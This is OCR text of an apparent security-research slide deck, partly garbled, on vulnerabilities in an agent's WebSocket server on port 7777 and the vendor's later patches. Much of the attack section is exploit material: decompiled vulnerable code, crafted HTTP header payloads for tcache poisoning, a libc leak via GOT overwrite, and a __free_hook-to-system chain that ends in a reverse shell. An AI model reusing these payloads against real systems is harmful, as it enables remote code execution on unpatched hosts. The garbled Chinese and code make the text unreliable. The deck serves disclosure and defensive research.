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® & v Q Preserve log | (J Disable cache Mothrotting ¥ = | # #

Filter (O Invert J Hide data URLs All = Fetch/XHR JS €SS Img Media Font Doc WS Wasm Manifest Other [ Has blocks

| _
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 © 0.0.0.0:7777 0.0.0.0:* LISTEN 93/mLNHIICC

Name X  Headers Messages Initiater  Timing

R ~ onera

Request URL: wss://localhost:7777/echo
Request Method: GET

Status Code: @ 101 Switching Protocols
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HTTPS #&@3H

>Agent BR £ 7777 Port

Web Applications

HTTPS Websockets
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Listen 7777

dlIWebSocketServerEx
Multithread

client_worker HTTP Header 5222

SS L_read ws_parse_handshake

ws_get_handshake_answer

client_worker
(websocket)
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Vulnerabilities

> Listen at 0.0.0.0
> Race Condition

> Heap Overflow
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Listen at 0.0.0.0

> AR 7% Listen 7£ 0.0.0.0
> O] B @52 F 17914 1a] 1P 7= EY

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:7777 0.0.0.0:% LISTEN 93/mLNHIICC

YCARNF
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Race Condition

Listen 7777

dlIWebSocketServerEx

t Multithread
client_worker HTTP Header 5022
L l b )
Soll read char buffer[65536];
int client_worker()

P
SSL_read(..., buffer, ...);

ws_parse_handshake(buffer,

e

)

L=

!
|
: |
| |
| |
| |
| |
| { .
| |
| |
|
|
| |
|
|
|
' |
|
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Heap Overflow

GET||/echo||HTTP/1.1

if ( !space
return @LL;
vll = spacel + 1;
space?2 = strchr(vil, '
if ( !space2 )
return @LL;
if ( a3->resource )
{
free(al->resource);
aj-»resource = @QLL;
)
a3-»resource = (char )malloc(space2 - vil + 1);
if ( laz->resource )
__assert_fail("hs->resource”, "./websoc websocket.c™, @x96u, "ws parse handshake");
if ( (unsigned int) isoc99 sscanf(al, "GHT %s HTTP/1.1\r\n", a3->resource) =1 )
return @LL;

ANCYCANFT




Heap Overflow

GET \n\n\n\n\n\n @aaaaaaaaaaaaaaaaaaaaaaa HTTP/1l.1

] — etrrhrf 4 ")
( lspacel )
return @LL;
vll = spacel + 1;
space?2 = strchr(vil, '
if ( !space2 )
return @LL;
if ( a3->resource )
{
free(al->resource);
aj-»resource = @QLL;
)
ai-»resource = (char *)malloc(space?
if ( laz->resource )
__assert_fail("hs->resource”, "./websoc websocket.c™, @x96u, "ws parse handshake");
if ( (unsigned int) isoc99 sscanf(al, "GHT %s HTTP/1.1\r\n", a3->resource) =1 )
return @LL;
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Exploit

> Heap Overflow to RCE (on Linux)

> About Windows
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Environment

>ubuntu 20.04

>glibc 2.31

21  CyCraftProprietaryand Confidential Information

Arch: amdeéed-e6uU-1ittle
RELRO: Partial RELRO
Stack:

NX:

PIE:

MNCYCANFT



Exploit 7t 12

> F/H Tcache MEIEEE A

> Leak libc base

>QOverwrite _ free_hook or GOT

> Reverse Shell
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> IRFF 1R e 53
> Multithread => —{@& thread crash - Z{E AR5 4R

s FEEHERN -> R REE

L == =t~

> = A8 SSL A => WZBSE SSL_Write 7 BerB HVE R
>TE Heap 26,2 91,25 NULL Bytes

> B RIELR Heap ihB& A HEE
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Write NULL byte to Heap

char *__ fastcall get_upto_linefeed(const char *al)

>E A Heap UERIE#H NULL byte |

E\i%ﬁ unsigned _ int8 vi; // al
unsigned _ int8 v3; // [rsp+17h] [rbp-9h]
>HOSt: aaa\XOObbb\r\n char *dest; // [rsp+18h] [rbp-8h]

> E_”)/(%%ffé?ﬁ NULL byte E/\JE}J«E vl = (unsigned __int8)strstr(al, rn);|

v3 = vl - (_BYTE)al + 1;

%A NULL byte if ( vl - (_BYTE)al == OxFF )
__assert_fail(...);
dest = (char *)malloc(v3);
if ( ldest )

__assert_fail(...);

memcpy (dest, al, v3 - 1);
dest[v3 - 1] = O;
return dest;
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Write NULL byte to Heap

25  CyCraftProprietaryand Confidential Information

U U
A A
B B
\x00 B

A

B

B

U U
A \Xx00
\x00\x00

\x00\ x00

{ AAAAAAA

B BBBIBB

{ CcCCcC
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B NELR Heap iAREATEE

>BREARENZ FHFTHY thread
> B thread E AL Heap

>thread A5 5R 18 Heap =

> ¥RV thread 2L E
Heap

=Rl

AT Heap = 2K AR

RAO

IHY A IL R
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23| —(EtEER Heap

>[BIFFZ U RZEAR - IEEM Heap £33
> BHEZ I RVELR R 0] LLZ 2E2F M Heap

for 1 in range(10):
r = remote(ip,port,ssl=True)

rl = remote(ip,port,ssl=True)
r2 = remote(ip,port,ssl=True)
r3 = remote(ip,port,ssl=True)

rl1r2 r3 Heap ERMN—1

YCARNF
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Leak Libc Base Address

> INZBEE SSL Write 2REJHHTEA Libc Address B Buffer
> O] AR ws_get_handshake_answer
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A ws get handshake answer

> 18 stremp HAAY, strstr

int client_worker()
{
if ( !strcmp(req.resource, "/echo") )
{
ws_get_handshake_answer(&req, ...);
}
}

YCARNF
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A ws get handshake answer

struct HTTPRequest

F

if ( !'memcmp(input, "Host: ", 6uLL) ){

input += 6;

if ( reg->Header_Host ){
free(reqg->Header_Host);
req->Header_Host = OLL;

}

{

char *resource;

char *Header_Host;

char *Header_Origin;

= char *Header_SetWebsocketProtocol;

char *Header_SetWebsocketKey1l;

I req->Header_Host = (char *)get_upto_linefeed(input);l char *Header_SetWebsocketKey2;

}

void *field _30;

31 CyCraft Proprietary and Confidential Information

sprintf(out_frame, *
"HTTP/1.1 101 WebSocket Protocol Handshake\r\n"
"Upgrade: WebSocket\r\n"
“"Connection: Upgrade\r\n"
"Sec-WebSocket-Origin: %s\r\n"
"Sec-WebSocket-Location: wss://%s%s\r\n",
reg->Header_Origin,
req->Header_Host,
req->resource);

SSL Write

MNCYCANFT
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Leak M1

GOT

>#E&E— N get_upto_linefeed

Uuuuuuuu
“AAA” AAA\xOOUUUU
“A” A\xOOUUUUUU
“ \xOOUUUUUuUu

char *__fastcall get_upto_linefeed(const char *al)
{
unsigned _ int8 v1; // al
unsigned _ int8 v3; // [rsp+17h] [rbp-9h]
char *dest; // [rsp+18h] [rbp-8h]

vl (unsigned __int8)strstr(al, rn);
v3 = vl - (_BYTE)al + 1;
if ( vl - (_BYTE)al == OxFF )
__assert_fail(...);
dest = (char *)malloc(v3);
if ( !dest )
__assert_fail(...);

w3 - 1)
dest[v3 - 1] = ©;

return dest;

}

MNCYCANFT



Leak M1

=]

GOT

> Library Function 35 — 2R 4% Y

1. oPEEMBER
#Y 3 byte address

rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

Write

1. BANEEORE
= 6 byte HY
address

2. HEEE—1{E NULL
byte - 2 A 3 byte
HJ address E5ZE4

Ox7fab

(Ox7fab00xxxxxXx)
MCYCRNFT



Leak I0E GOT

> B, —1{E#E get_upto_linefeed B # call 18 - L H

ws_get_handshake answer sprintf BIZ # call BY Function

>3512F B  ctype b loc TR AL

get_upto_linefeed
get and write to buffer

34 CyCraft Proprietary and Confidential Information




Leak I0E GOT

> B, —1{E#E get_upto_linefeed B # call 18 - L H

ws_get_handshake answer sprintf BIZ # call BY Function

>3512F B  ctype b loc TR AL

- — -

MNCYCANFT
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2 — Mtz

> TE—RBY Request T

I E 5T Ak

> 11 strcmp CA B strstr (Overwrite GOT)

——
t::

>iEHC

0—{[& header buffer 2% ctype b _loc

> £ Response BV header = Leak L2 HY Address
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Heap Exploit

> Z I Heap TE B E LI M 24 (& H1F

> malloc
> read
> free

MCYCANFT



Heap Exploit

1|GET aaaaaaaa HTTP/1.1
2 |Host: abcdefg
3|0Origin: eubwvorvb

4 |Host: rinboeitb
AL FEEEEEEEEEEEE

1 | malloc(0x0)

2 | malloc(7)

3 | malloc(9)

4 | free(); malloc(9)

5 | free(); malloc(14)

38 CyCraft Proprietary and Confidential Information

int ws_get_handshake_answer (&req){
while ( 1 )

{

input = strstr(input, rn) + 2;
if ( input >= v9 || *input == "\r' || input[1] == "\n" )
break;
if ( !'memcmp(input, "Host: ", 6éuLL) ){
input += 6;
if ( reg->Header Host ){
iFree(req-)Header_Host);I

req->Header_Host = OLL;

}

Ireq->Header_Host = (char *)get_upto_linefeed(input);I
}
else if ( !memcmp(input, "Origin: ", 8uLL) ){...}
else if ( !memcmp(input, "Sec-WebSocket-Protocol: ", ®x18ulLL) ){...}
else if ( !memcmp(input, "Sec-WebSocket-Keyl: ", @x14uLL) ){...}
else if ( !memcmp(input, "Sec-WebSocket-Key2: ", @x14uLL) ){...}
else if ( !memcmp(input, "Connection: Upgrade™, ©&x13uLL) ){...}
else if ( !memcmp(input, "Upgrade: WebSocket", ©x12uLL) ){...}

MNCYCANFT



Tcache

>Glibc 2.27 INABYHT 1 5l
>5B TMEE - D TIEZiEE

> BEEL fd ZEFTEENIER chunk

>malloc I A= & chunk size
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malloc(0x20)

> HEZ1E 0x20 BY chunk E& malloc 2 &K

>get_upto_linefeed 21R

EEZE AWERE I malloc size

>HEZEE A—{E address + FILIEREE—TF <0x20

MNCYCANFT
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Trigger Heap Overflow

b'GET '

+ b'\n"*0x146+b"’

'+ b'a'"*0x148 + b'\x51" + b" HTTP/1.1\r\n’

rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
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malloc(A); free(A);

rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

b'Host: '
b'Host: '

+ b'm"*@x38 + b'\r\n’
+ b'w'#*6x38 + b'\x31" + b'\r\n’

MNCYCANFT



FE A BB B BY size

llllllllllllllllllllllllllllllllllllllllllll

b'Host: °

+ b'w'*@x38 + b'\x31" + b"\r\n'

MNCYCANFT



malloc(B); free(B);

rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

b'Host: '
b'Host: '

+ b'm"*6x380 + b'\r\n"’
+ b'n"#¥@x45 + b'\r\n"’

MNCYCANFT



Z38 A BB B /Y fd

+ b'n"*¥@x45 + b'\r\n’
+ b'n"*@x44 + b'\r\n"’
+ b'n"*@x43 + b'\r\n’
+ b'w'*0x40 + p6d(fake chunk addr)[:3] + b'\r\n’

— MNCYCANFT
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malloc(B);

b'Host: °

+ b'm"*¥@x20 + b'\r\n’

MNCYCANFT



malloc(FB); free(FB);

b'Sec-WebSocket-Keyl: '+ b'A'"*8x20 + b'\r\n’
b'Sec-WebSocket-Keyl: '+ b'A'"*8x20 + b'\r\n’

— MNCYCANFT
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7F3E FA 124 FB Y fd

b'Sec-WebSocket-Keyl: '+ b'A"*8x27 + b'\r\n"'
b'Sec-WebSocket-Keyl: '+ b'A"*8x26 + b'\r\n"'
b'Sec-WebSocket-Keyl: '+ b'A'"*@x25% + b'\r\n’
b'Sec-WebSocket-Keyl: '+ b'A'*8x24 + b'\r\n"'
b'Sec-WebSocket-Keyl: '+ b'A'*@x20 + p6dA(strcmp_got)[:3] + b'\r\n’

—p Victim1l

— MNCYCANFT
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malloc(FB);

b'Sec-WebSocket-Key2: "+ b'x" + b'"\r\n’

Teaches 00
e

> Victim1l

— MNCYCANFT
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malloc(victim1);

b'Origin: '

+ pbd(strstr_plt)[:3] + b'\r\n’

rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

Victim1l

MNCYCANFT



— MNCYCANFT

53 CyCraft Proprietary and Confidential Information



{212 FB BY Header

b'Sec-WebSocket-Keyl: '+ b'A'"*@x1f + b'\r\n'
b'Sec-WebSocket-Keyl: '+ b'A'*@xle + b'\r\n'
b'Sec-WebSocket-Keyl: '+ b'A'*axdd + b'\r\n'
b'Sec-WebSocket-Keyl: '+ b'A'*@xlc + b'\r\n'
b'Sec-WebSocket-Keyl: '+ b'A'*@xdb + b'\r\n’
b'Sec-WebSocket-Keyl: '+ b"A'*@x1a + b'\r\n’
b'Sec-WebSocket-Keyl: '+ b'A'*0x18 + b'\x21' + b'\r\n'

— MNCYCANFT
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free(FB);

———— MCYCRN\F
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>0 PAEZE _ {E Address

> Leak

Y Libe 18 - S —(BEAR S

__free_hook £ Ak system
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Demo

> https://youtu.be/tF9dsVd28HI

- MNCYCANFT
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https://youtu.be/tF9dsVd28HI

About Windows

>Windows BY Heap PhE il ELER 18
> 1,28 Tcache S BE2U R E 0L fd AE21EE chunk BN T

>t ZF 58 Heap Spray 2 SSL B function table E 514 =
> NiE AR FZIENMESS - Heap Spray ;2 AR as — R A IS

\E:/jlfgl_'lé \
> 3@/2 =] Hit
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> 15 %)
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>§K : /\j%$ E/]nﬂu_,\

Wed, Aug 04, 2021

12:15 PM ;
SEZRETRET B ihES 1Fﬂ%rt%‘*‘ﬂ"‘xdddddddd
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2021/12 S5—hR Patch

>{&7€ 1 Bind Address © t¥ ¥ 127.0.0.1
>ws_parse_handshake Jl_E ¥ memcmp &

if ( memcmp(al, "GET /echo HTTP",

return OLL;

)

>wsParseHandshake ;2 &

OxEuLL) )



2022/01 2 __ ik Patch

>Windows IR ZAN{E R 1 sscanf s 128 © Heap Overflow

if ( sscanf _s(Str, "GET %s HTTP/1.1\r\n", vi4) !=1 )
return 9,

ff

W

> Linux AY Heap Overflow 1371
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> B IRF 38 MR AT s 124870 =0
>IBEEREAEE - 33 MASRIGE - W& & e 2 77 [0

fEfRE TR

\

EITENEN REER -
&R ES kS w
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>Windows kR ZK Heap Overflow 1Z485S A, - Race Condition 7

> Linux hRZANM

EEEE =

NIEZE

N

W

ff
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>Windows IRZAER Linux IR K {Z 5T Rk
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M 25— | Patch

>Heap Overflow: sscanf -> sscanf_s

> Race Condition: .bss section -> malloc
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